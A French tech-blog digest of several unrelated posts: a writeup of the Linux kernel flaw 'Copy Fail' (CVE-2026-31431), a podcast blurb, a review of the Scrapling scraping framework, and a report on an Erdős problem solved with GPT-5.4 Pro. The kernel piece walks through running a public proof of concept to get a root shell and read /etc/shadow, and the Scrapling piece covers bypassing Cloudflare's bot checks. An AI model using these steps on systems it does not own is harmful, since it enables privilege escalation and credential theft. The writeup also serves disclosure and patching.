Les comparaisons avec Dirty COW et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.

Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !

Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.

Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !

Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !

L'exploit est dispo ici sur le GitHub de Theori et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.

Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que BlueHammer côté Windows , sauf qu'ici la marche jusqu'à root est encore plus petite.

Comment tester le PoC sur une machine de test ?

Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.

Étape 1 - Cloner le PoC et vérifier le hash

manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.

manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py

manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root

Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.

Étape 2 - Lancer l'exploit

manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py

# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.

Mot de passe :

Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.

Étape 3 - Shell root obtenu

root@ubuntu:~# id
uid=0(root) gid=1000(manu) groups=1000(manu)

root@ubuntu:~# whoami
root

root@ubuntu:~# uname -r
5.15.0-143-generic

# Kernel 5.15 vulnérable confirmé - Ubuntu 22.04 non patché

Notez le uid=0(root) alors qu'on est parti d'un uid=1000 sans aucun mot de passe, aucune race condition, aucun timing à ajuster. Brutal.

Étape 4 - Accès aux fichiers root-only

root@ubuntu:~# cat /etc/shadow | head -3
root:*:20271:0:99999:7:::
daemon:*:20271:0:99999:7:::
bin:*:20271:0:99999:7:::

root@ubuntu:~# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash

/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.

Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.

Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !

Source

DOOM a déjà été porté sur des thermostats, des tests de grossesse, et même un piano ! Manquait donc plus que les chatbots IA !

Et voilà que c'est fait puisque Chris Nager vient de faire tourner DOOM dans ChatGPT et Claude, jouable directement dans la fenêtre du chat.

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/doom-chatgpt-claude-mcp/doom-chatgpt-claude-mcp-1.qt">lien vers la vidéo</a>.

Au programme :

Tim Cook quitte la présidence d’Apple

Avec John Ternus, le hardware de retour aux commandes chez Apple

Le journal de l’IA: rapid fire edition

Le reste de l’actualité

Infos :

Animé par Patrick Beja (Bluesky, Instagram, Twitter, TikTok).

Co-animé par Guillaume Vendé (Bluesky).

Co-animé par Damien Licata Caruso (Bluesky).

Produit par Patrick Beja (LinkedIn) et Fanny Cohen Moreau (LinkedIn).

Musique libre de droit par Daniel Beja

Le Rendez-vous Tech épisode 663 – Est-ce qu’une personne peut tout changer ? – Tim Cook & John Ternus, OpenAI, Anthropic, Github, Claude Mythos

---

Liens :

🎧 L’Actu Tech (podcast daily): NotPatrick.com/#lactutech

😎 Soutien sur Patreon : Patreon.com/RDVTech

🤗 Communauté Discord : NotPatrick.com/discord

Par écrit :

📰 Newsletter : NotPatrick.com/newsletter

📰 Archives NL: NotPatrick.com/archivenl

📢 WhatsApp : NotPatrick.com/whatsapp

🐤 Veille Twitter : Twitter.com/RdvTech

En vidéo :

📹 Live : Twitch.tv/NotPatrick

📺 VOD : YouTube.com/NotPatrickPodcasts

📱 TikTok : Tiktok.com/@NotNotPatrick

💁 Tous les liens : NotPatrick.com

Hébergé par Acast. Visitez acast.com/privacy pour plus d'informations.

Le scraping web, c'est un combat permanent contre les sites qui changent leur HTML toutes les deux semaines. Vous vous emmerdez à coder vos sélecteurs CSS, ça marche pendant un mois, puis le site refait son design et hop, votre script s'éteint en silence. C'est pourquoi Karim Shoair (alias D4Vinci sur GitHub) a sorti Scrapling, un framework Python qui s'adapte tout seul quand le DOM bouge.

La clé c'est adaptive=True sur n'importe quel sélecteur. Vous lui dites "je cherchais .product", Scrapling sauvegarde alors la signature de l'élément (texte, attributs, position dans l'arbre), et la prochaine fois que le site a renommé sa classe, il retrouve l'élément via similarité.

Concrètement ça donne ça :

from scrapling.fetchers import StealthyFetcher
StealthyFetcher.adaptive = True
page = StealthyFetcher.fetch('https://example.com', headless=True)
product = page.css_first('.product', adaptive=True) # Retrouve l'élément même si la classe a changé

Le truc marche grâce à un algo de similarité maison qui compare la structure DOM autour de l'élément. L'auteur lui-même a écrit un long post Medium intitulé " Creating self-healing spiders with Scrapling in Python without AI ", et ça résume bien la philosophie : pas de modèle IA mais juste des heuristiques solides !

La doc précise que adaptive=True ne sauvegarde que le premier élément de la sélection. Du coup si vous récupérez 50 produits d'un coup avec .css('.product'), seul le premier sera adapté. Faudra donc soit utiliser css_first comme dans l'exemple, soit boucler manuellement et appeler adaptive sur chaque élément. C'est bon à savoir...

Y'a également 3 fetchers selon le besoin. Fetcher pour les requêtes HTTP rapides avec spoofing TLS, StealthyFetcher qui passe Cloudflare Turnstile via un navigateur furtif (Camoufox sous le capot), et DynamicFetcher qui lance un Chromium ou un Chrome via Playwright pour les sites lourds en JS. Du coup vous pouvez démarrer léger en HTTP et basculer vers un navigateur uniquement quand un site bloque, sans réécrire votre code.

Côté perfs, le README annonce du lourd : 2 ms pour extraire 5000 éléments contre 1584 ms pour BeautifulSoup avec lxml. Sauf que Parsel et Scrapy font aussi 2 ms. Donc le gain vient du moteur lxml utilisé en direct, ce qui veut dire que si vous étiez déjà sur Scrapy, vous ne gagnerez pas en vitesse brute. Mais si vous traînez encore du BS4 partout, le saut sera énorme !

Sur le terrain anti-bot, ça se compare bien à Botasaurus dont je vous avais parlé. La différence c'est que Scrapling embarque un ProxyRotator natif et propose un blocage d'ads/trackers (~3500 domaines) activable via block_ads=True ou automatique en mode MCP, ce qui simplifie la vie quand vous tournez sur un serveur (où les IPs des datacenter se font régulièrement filtrer). Botasaurus, lui, vous laisse gérer la rotation à la main.

Détail sympa pour les bidouilleurs : y'a également un serveur MCP intégré (pip install "scrapling[ai]"). Du coup Claude ou Cursor peuvent piloter Scrapling directement pour extraire des données, en réduisant la consommation de tokens car l'IA ne voit pas tout le HTML brut, juste ce qui est extrait. Pour les agents qui scrappent en boucle, c'est cool.

Notez que les sponsors Platinum du projet sont tous des fournisseurs de proxies (DataImpulse, BirdProxies, Evomi, etc.). C'est logique vu l'usage du framework, mais gardez en tête que pour bypasser un Cloudflare sérieux à grande échelle, vous aurez besoin de proxies résidentiels payants, donc d'eux. L'outil est gratuit, mais le contournement industriel ne l'est pas.

Pour installer, c'est pip install "scrapling[fetchers]" puis scrapling install pour récupérer les binaires navigateur. Une image Docker existe aussi (pyd4vinci/scrapling) et y'a même un shell interactif (scrapling shell) pour debugger vos sélecteurs en live.

Bref, c'est carrément pas mal pour ceux qui scrapent régulièrement. Alors si BS4 vous fait pleurer, allez voir par ici .

Et merci à Letsar pour le lien !

Liam Price, 23 ans, mathématicien amateur sans formation avancée, a résolu un problème d'Erdős resté ouvert depuis 60 ans en posant la question à GPT-5.4 Pro un lundi après-midi en avril.

Le modèle a tourné 80 minutes pour produire une preuve qui passe la validation du médaillé Fields Terence Tao. C'est ce que rapporte Joseph Howlett dans Scientific American.

Le problème en question, c'est l'Erdős #1196, posé par le mathématicien hongrois en 1965. L'IA n'a pas tout cassé en force brute. Elle a utilisé la fonction de von Mangoldt, un outil bien connu en théorie des nombres, mais que personne n'avait pensé à appliquer à ce type de question depuis 90 ans.

Tao parle d'une connexion jusqu'ici non décrite entre l'anatomie des entiers et la théorie des processus de Markov. En clair, l'IA a fait un pont entre deux branches mathématiques que les humains avaient laissé séparées.

La méthode est assez simple. Price a copié le problème dans une fenêtre ChatGPT, lancé GPT-5.4 Pro en mode raisonnement, et attendu. Pas de papier brouillon, pas d'allers-retours avec un professeur, pas de café à minuit avec des collègues. Un prompt, une réponse, et un objet mathématique sur lequel des experts du monde entier auront ensuite à se pencher pour valider chaque ligne.

Maintenant il faut savoir que la sortie brute de l'IA était plutôt confuse. Tao et Jared Lichtman, mathématicien à Oxford, ont dû relire, simplifier et reformuler la preuve pour qu'elle devienne lisible.

Sans expert humain pour décanter le résultat, le prompt seul n'aurait probablement pas convaincu une revue scientifique. L'IA a vu la bonne idée, mais pas vraiment su l'expliquer proprement.

Tao reste prudent. Il rappelle que le problème n'était pas le plus dur du livre des Erdős, et que l'IA a surtout gagné en vitesse, pas forcément en profondeur.

Lichtman, lui, parle du premier résultat IA au niveau du livre des Erdős, ce qui reste une marche assez impressionnante. Côté Liam Price, le jeune homme va probablement ajouter une ligne assez folle à son CV. Et le débat sur ce que ça veut dire pour la recherche en mathématiques pures, lui, est désormais lancé pour de bon.

Source : Scientific American